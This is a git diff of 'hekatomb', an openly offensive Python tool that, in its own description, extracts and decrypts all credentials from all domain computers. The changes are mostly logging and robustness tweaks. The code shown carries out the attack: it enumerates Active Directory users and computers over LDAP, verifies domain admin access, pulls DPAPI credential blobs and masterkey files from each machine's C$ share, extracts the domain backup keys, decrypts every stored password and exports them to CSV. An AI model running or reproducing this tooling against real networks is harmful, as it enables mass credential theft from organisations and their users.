diff --git a/.assets/github1.png b/.assets/github1.png
index 9644366..85e8073 100644
Binary files a/.assets/github1.png and b/.assets/github1.png differ
diff --git a/README.md b/README.md
index b22141c..c43f35d 100644
--- a/README.md
+++ b/README.md
@@ -21,7 +21,7 @@
>
-
+
@@ -31,6 +31,7 @@
On last version (V 1.5) :
- Fix local packages importation error with pip installation
- Prevent crash when no computers are reachable
+- Prevent null domain or null domain extension
V 1.4 :
- Fix LDAP search limitation to 1000 items
diff --git a/pyproject.toml b/pyproject.toml
index 9e5794a..140134a 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[tool.poetry]
name = "hekatomb"
-version = "1.5.14"
+version = "1.5.2.3"
description = "Python library to extract and decrypt all credentials from all domain computers"
license = "GPL-3.0-only"
authors = ["Processus Thief "]
diff --git a/src/hekatomb/ad_ldap.py b/src/hekatomb/ad_ldap.py
index 723e688..18a01e2 100644
--- a/src/hekatomb/ad_ldap.py
+++ b/src/hekatomb/ad_ldap.py
@@ -15,37 +15,44 @@
def scan(computer, domain, dns_server, port, debug, debugmax):
# Trying to resolve IP address of the host
-
screenLock = Semaphore(value=1)
answer = ''
# Create a socket object for TCP IP connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(3)
+ s.settimeout(30)
try:
- # resolve dns to ip address
+ # resolve dns to ip address
resolver = dns.resolver.Resolver(configure=False)
+ resolver.timeout = 60
+ resolver.lifetime = 60
resolver.nameservers = [dns_server]
- current_computer = computer + "." + domain
+
+ dns_computer = str(computer)+"."+str(domain)
+ if debug is True or debugmax is True:
+ screenLock.acquire()
+ print("[+] Resolving "+str(dns_computer) + " by asking DNS server "+str(dns_server)+" ...")
+ screenLock.release()
+
# trying dns resolution in TCP and if it fails, we try in UDP
- answer = resolver.resolve(current_computer, "A", tcp=True)
+ answer = resolver.resolve(dns_computer, "A", tcp=True)
if len(answer) == 0:
- answer = resolver.resolve(current_computer, "A", tcp=False)
+ answer = resolver.resolve(dns_computer, "A", tcp=False)
if len(answer) == 0:
- print("DNS resolution for "+str(current_computer) + " has failed.")
+ screenLock.acquire()
+ print("[!] DNS resolution for "+str(computer) + " has failed.")
+ screenLock.release()
sys.exit(1)
else:
- answer = str(answer[0])
+ if debug:
+ screenLock.acquire()
+ print ('[+] DNS resolution for ', str(computer) , ' succeeded : ', str(answer[0]))
+ screenLock.release()
+ answer = str(answer[0])
# Set IP and Port to connect
s.connect((answer, port))
-
- # Display debug infos
- if debugmax:
- screenLock.acquire()
- print ('Scanning ', answer , 'on port', port)
- print("Port",port, "is open")
# Closing the socket
s.close()
@@ -53,23 +60,18 @@ def scan(computer, domain, dns_server, port, debug, debugmax):
# Call the summary fonction to add the computer to the online_computers list
summary(computer)
- # If it fails
- except socket.timeout:
- if debugmax:
- print("TCP 445 Connection Timeout")
- except:
- # Display offline computer
- if debugmax:
+ except Exception as e:
+ if debug is True or debugmax is True:
screenLock.acquire()
- print ('Scanning ', answer , 'on port', port)
- print("Port",port,"is closed")
-
+ print("[!] ERROR : " +str(e))
+ screenLock.release()
# Free the semaphore object and close the socket
finally:
screenLock.release()
s.close()
return
+
# Création d'une boucle pour créer un thread par machine
def SmbScan(computers_list, domain, dns_server, port, debug, debugmax):
# Définition du tableau de threads
@@ -106,7 +108,7 @@ def Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax):
# try to connect to ldap
if debug is True or debugmax is True:
- print("Testing LDAP connection...")
+ print("[+] Testing LDAP connection...")
connectionFailed = False
serv = Server(address, get_info=ALL, use_ssl=True, connect_timeout=15)
@@ -114,25 +116,25 @@ def Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax):
try:
if not ldapConnection.bind():
- print("Error : Could not connect to ldap : bad credentials")
+ print("[!] Error : Could not connect to ldap : bad credentials")
sys.exit(1)
if debug is True or debugmax is True:
- print("LDAP connection successfull with SSL encryption.")
+ print("[+] LDAP connection successfull with SSL encryption.")
except:
- print("Error : Could not connect to ldap with SSL encryption. Trying without SSL encryption...")
+ if debug is True or debugmax is True:
+ print("[!] Error : Could not connect to ldap with SSL encryption. Trying without SSL encryption...")
connectionFailed = True
- if True == connectionFailed:
+ if connectionFailed:
try:
serv = Server(address, get_info=ALL, connect_timeout=15)
ldapConnection = Connection(serv, user=f"{domain}\\{username}", password=passLdap, authentication=NTLM)
if not ldapConnection.bind():
- print("Error : Could not connect to ldap : bad credentials")
+ print("[!] Error : Could not connect to ldap : bad credentials")
sys.exit(1)
- if debug is True or debugmax is True:
- print("LDAP connection successfull without encryption.")
+ print("[+] LDAP connection succeeded !")
except:
- print("Error : Could not connect to ldap.")
+ print("[!] Error : Could not connect to ldap.")
if debug is True or debugmax is True:
import traceback
traceback.print_exc()
@@ -140,19 +142,17 @@ def Connect_AD_ldap(address, domain, username, passLdap, debug, debugmax):
# Create the baseDN
baseDN = serv.info.other['defaultNamingContext'][0]
-
return ldapConnection,baseDN
def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax):
# catch all users in domain or just the specified one
if just_user is not None :
searchFilter = "(&(objectCategory=person)(objectClass=user)(sAMAccountName="+str(just_user)+"))"
- print("Target user will be only " + str(just_user))
+ print("[+] Target user will be only " + str(just_user))
else:
searchFilter = "(&(objectCategory=person)(objectClass=user))"
try:
- if debug is True or debugmax is True:
- print("[+] Retrieving user objects in LDAP directory...")
+ print("[+] Retrieving user objects in LDAP directory...")
ldap_users = []
ldapConnection.search('%s' % (baseDN), searchFilter, attributes=['sAMAccountName', 'objectSID'],paged_size=1000)
for i in range(len(ldapConnection.entries)):
@@ -165,7 +165,7 @@ def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax):
ldap_users.append(ldapConnection.entries[i])
if debug is True or debugmax is True:
- print("Converting ObjectSID in string SID...")
+ print("[+] Converting ObjectSID in string SID...")
ad_users = []
for user in ldap_users:
@@ -178,15 +178,15 @@ def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax):
pass
# some users may not have samAccountName
if debug is True or debugmax is True:
- print("Found about " + str( len(ldap_users) ) + " users in LDAP directory.")
+ print("[+] Found about " + str( len(ldap_users) ) + " users in LDAP directory.")
except:
- print("Error : Could not extract users from ldap.")
+ print("[!] Error : Could not extract users from ldap.")
if debug is True or debugmax is True:
import traceback
traceback.print_exc()
sys.exit(1)
if len(ad_users) == 0:
- print("No user found in LDAP directory")
+ print("[!] No user found in LDAP directory")
sys.exit(1);
return ad_users
@@ -194,13 +194,12 @@ def Get_AD_users(ldapConnection, baseDN, just_user, debug, debugmax):
def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax):
# catch all computers (enabled) in domain or just the specified one
- if debug is True or debugmax is True:
- print("[+] Retrieving computer objects in LDAP directory...")
+ print("[+] Retrieving computer objects in LDAP directory...")
ad_computers = []
ldap_computers = []
if just_computer is not None :
ad_computers.append(just_computer)
- print("Target computer will be only " + str(just_computer))
+ print("[+] Target computer will be only " + str(just_computer))
else:
try:
# Filter on enabled computer only
@@ -210,6 +209,8 @@ def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax):
for i in range(len(ldapConnection.entries)):
ldap_computers.append(ldapConnection.entries[i])
+ if debugmax is True:
+ print("[+] ldapConnection.entries["+str(i)+"] : " + str(ldapConnection.entries[i]).strip())
cookie = ldapConnection.result['controls']['1.2.840.113556.1.4.319']['value']['cookie']
while cookie:
@@ -225,9 +226,9 @@ def Get_AD_computers(ldapConnection, baseDN, just_computer, debug, debugmax):
except:
pass
if debug is True or debugmax is True:
- print("Found about " + str( len(ad_computers) ) + " computers in LDAP directory.")
+ print("[+] Found about " + str( len(ad_computers) ) + " computers in LDAP directory.")
except:
- print("Error : Could not extract computers from ldap.")
+ print("[!] Error : Could not extract computers from ldap.")
if debug is True or debugmax is True:
import traceback
traceback.print_exc()
diff --git a/src/hekatomb/blobs.py b/src/hekatomb/blobs.py
index 52033a0..0a4e3d8 100644
--- a/src/hekatomb/blobs.py
+++ b/src/hekatomb/blobs.py
@@ -65,7 +65,7 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh
if len(answer) == 0:
answer = resolver.resolve(current_computer, "A", tcp=False)
if len(answer) == 0:
- print("DNS resolution for "+str(current_computer) + " has failed.")
+ print("[!] DNS resolution for "+str(current_computer) + " has failed.")
sys.exit(1)
else:
answer = str(answer[0])
@@ -85,7 +85,7 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh
if str(current_user[0]).lower() == str(current_user_folder).lower():
try:
if debugmax is True:
- print("Find existing user " + str(current_user[0]) + " on computer " + str(current_computer) )
+ print("[+] Find existing user " + str(current_user[0]) + " on computer " + str(current_computer) )
response = smbClient.listPath("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Credentials\\*")
is_there_any_blob_for_this_user = False
count_blobs = 0
@@ -130,8 +130,8 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh
wf = open(mkfFolder + "/" + mkf,'wb')
smbClient.getFile("C$", "\\users\\" + current_user[0] + "\\appData\\Roaming\\Microsoft\\Protect\\" + current_user[1] + "\\" + mkf, wf.write)
if debugmax is True:
- print("New credentials found for user " + str(current_user[0]) + " on " + str(current_computer) + " :")
- print("Retrieved " + str(count_blobs) + " credential blob(s) and " + str(count_mkf) + " masterkey file(s)")
+ print("[+] New credentials found for user " + str(current_user[0]) + " on " + str(current_computer) + " :")
+ print("[+] Retrieved " + str(count_blobs) + " credential blob(s) and " + str(count_mkf) + " masterkey file(s)")
except KeyboardInterrupt:
os._exit(1)
except:
@@ -144,13 +144,13 @@ def Get_blob_and_mkf(computers_list, users_list, username, password, domain, lmh
os._exit(1)
except dns.exception.DNSException:
if debugmax is True:
- print("Error on computer "+str(current_computer))
+ print("[!] Error on computer "+str(current_computer))
import traceback
traceback.print_exc()
pass
except:
if debug is True:
- print("Debug : Could not connect to computer : " + str(current_computer))
+ print("[!] Debug : Could not connect to computer : " + str(current_computer))
if debugmax is True:
import traceback
traceback.print_exc()
diff --git a/src/hekatomb/hekatomb.py b/src/hekatomb/hekatomb.py
index 8bd5a33..397507c 100644
--- a/src/hekatomb/hekatomb.py
+++ b/src/hekatomb/hekatomb.py
@@ -78,11 +78,23 @@ def main():
options = parser.parse_args()
domain, username, password, address = parse_target(options.target)
passLdap = password
+
+
if domain is None:
- domain = ''
+ print("[!] Domain can't be null")
+ sys.exit(1)
+ if len(domain)<1:
+ print("[!] Domain can't be null")
+ sys.exit(1)
+ if (domain.find('.') != -1):
+ print("[+] Targeting domain "+str(domain))
+ else:
+ domain = domain + ".local"
+ print("[+] Targeting domain "+str(domain))
+
if password == '' and username != '' and options.hashes is None :
from getpass import getpass
- password = getpass("Password:")
+ password = getpass("[+] Password:")
passLdap = password
if options.hashes is not None:
lmhash, nthash = options.hashes.split(':')
@@ -115,15 +127,15 @@ def main():
# test if account is domain admin by accessing to DC c$ share
try:
if options.debug is True or options.debugmax is True:
- print("Testing admin rights...")
+ print("[+] Testing admin rights...")
smbClient = SMBConnection(address, address, myName=myName, sess_port=port, preferredDialect=preferredDialect)
smbClient.login(username, password, domain, lmhash, nthash)
if smbClient.connectTree("c$") != 1:
raise
if options.debug is True or options.debugmax is True:
- print("Admin access granted.")
+ print("[+] Admin access granted.")
except:
- print("Error : Account disabled or access denied. Are you really a domain admin ?")
+ print("[!] Error : Account disabled or access denied. Are you really a domain admin ?")
if options.debug is True or options.debugmax is True:
import traceback
traceback.print_exc()
@@ -150,7 +162,7 @@ def main():
if debug is True or debugmax is True:
print("[+] It seems that " + str(len(online_computers)) + " computers are online ...")
- if len(online_computers) <1:
+ if str(len(online_computers)) == "0":
print("\n[!] No computers available")
sys.exit()
# # Retrieving blobs and mkf files
@@ -161,7 +173,7 @@ def main():
if options.pvk is None:
if debug is True:
- print("Domain backup keys not given.\nTrying to extract...")
+ print("[+] Domain backup keys not given.\n[+] Trying to extract...")
# get domain backup keys
try:
array_of_mkf_keys = []
@@ -195,7 +207,7 @@ def main():
key = header.getData() + pvk
open(directory + "/pvkfile.pvk", 'wb').write(key)
except:
- print("Error : Can't extract domain backup keys.")
+ print("[!] Error : Can't extract domain backup keys.")
if options.debug is True or options.debugmax is True:
import traceback
traceback.print_exc()
@@ -210,8 +222,8 @@ def main():
# decrypt pvk file
if options.debug is True:
- print("Domain backup keys found.")
- print("Trying to decrypt PVK file...")
+ print("[+] Domain backup keys found.")
+ print("[+] Trying to decrypt PVK file...")
try:
pvkfile = open(pvk_file, 'rb').read()
key = PRIVATE_KEY_BLOB(pvkfile[len(PVK_FILE_HDR()):])
@@ -220,7 +232,7 @@ def main():
array_of_mkf_keys = []
if options.debug is True:
- print("PVK file decrypted.\nTrying to decrypt all MFK...")
+ print("[+] PVK file decrypted.\n[+] Trying to decrypt all MFK...")
for filename in os.listdir(mkfFolder):
try:
@@ -248,23 +260,23 @@ def main():
key = domain_master_key['buffer'][:domain_master_key['cbMasterKey']]
array_of_mkf_keys.append(key)
if options.debugmax is True:
- print("New mkf key decrypted : " + str(hexlify(key).decode('latin-1')) )
+ print("[+] New mkf key decrypted : " + str(hexlify(key).decode('latin-1')) )
except:
if options.debugmax is True:
- print("Error occured while decrypting MKF.")
+ print("[!] Error occured while decrypting MKF.")
import traceback
traceback.print_exc()
pass
if options.debug is True:
- print(str( len(array_of_mkf_keys)) + " MKF keys have been decrypted !")
+ print("[+] "+str( len(array_of_mkf_keys)) + " MKF keys have been decrypted !")
except:
- print("Error occured while decrypting PVK file.")
+ print("[!] Error occured while decrypting PVK file.")
if options.debug is True:
import traceback
traceback.print_exc()
os._exit(1)
else:
- print("Domain backup keys not found.")
+ print("[!] Domain backup keys not found.")
if options.debug is True:
import traceback
traceback.print_exc()
@@ -275,7 +287,7 @@ def main():
if len(array_of_mkf_keys) > 0:
# We have MKF keys so we can start blob decryption
if options.debug is True:
- print("Starting blob decryption with MKF keys...")
+ print("[+] Starting blob decryption with MKF keys...")
array_of_credentials = []
for current_computer in os.listdir(blobFolder):
current_computer_folder = blobFolder + "/" + current_computer
@@ -291,7 +303,7 @@ def main():
blob = DPAPI_BLOB(cred['Data'])
if options.debugmax is True:
- print("Starting decryption of blob " + filename + "...")
+ print("[+] Starting decryption of blob " + filename + "...")
for mkf_key in array_of_mkf_keys:
try:
@@ -313,13 +325,13 @@ def main():
array_of_credentials.append(tmp_cred)
except:
if options.debugmax is True:
- print("Error occured while decrypting blob file.")
+ print("[!] Error occured while decrypting blob file.")
import traceback
traceback.print_exc()
pass
except:
if options.debug is True:
- print("Error occured while decrypting blob file.")
+ print("[!] Error occured while decrypting blob file.")
import traceback
traceback.print_exc()
pass
@@ -327,8 +339,8 @@ def main():
if options.debug is True:
end = time.time()
elapsed = round(end - start)
- print("Credentials gathered and decrypted in " + str(elapsed) + " seconds\n")
- print(str(len(array_of_credentials)) + " credentials have been decrypted !\n")
+ print("[+] Credentials gathered and decrypted in " + str(elapsed) + " seconds\n")
+ print("[+] "+str(len(array_of_credentials)) + " credentials have been decrypted !\n")
i = 0
if options.csv is True:
with open(directory + '/exported_credentials.csv', 'w', encoding='UTF8') as f:
@@ -338,7 +350,7 @@ def main():
i = i + 1
current_row = str(credential['foundon']) +";"+ str(credential['inusersession'])+";"+ str(credential['lastwritten'])+";"+ str(credential['target'])+";"+ str(credential['username'])+";"+ str(credential['password1'])+";"+ str(credential['password2'])+"\n"
f.write(current_row)
- print("File successfully saved to ./" + str(directory) + '/exported_credentials.csv')
+ print("[+] File successfully saved to ./" + str(directory) + '/exported_credentials.csv')
else:
for credential in array_of_credentials:
if i == 0:
@@ -358,10 +370,10 @@ def main():
else:
- print("No credentials could be decrypted.")
+ print("[!] No credentials could be decrypted.")
os._exit(1)
else:
- print("No MKF have been decrypted.\nBlobs will not be decrypted.")
+ print("[!] No MKF have been decrypted.\nBlobs will not be decrypted.")
os._exit(1)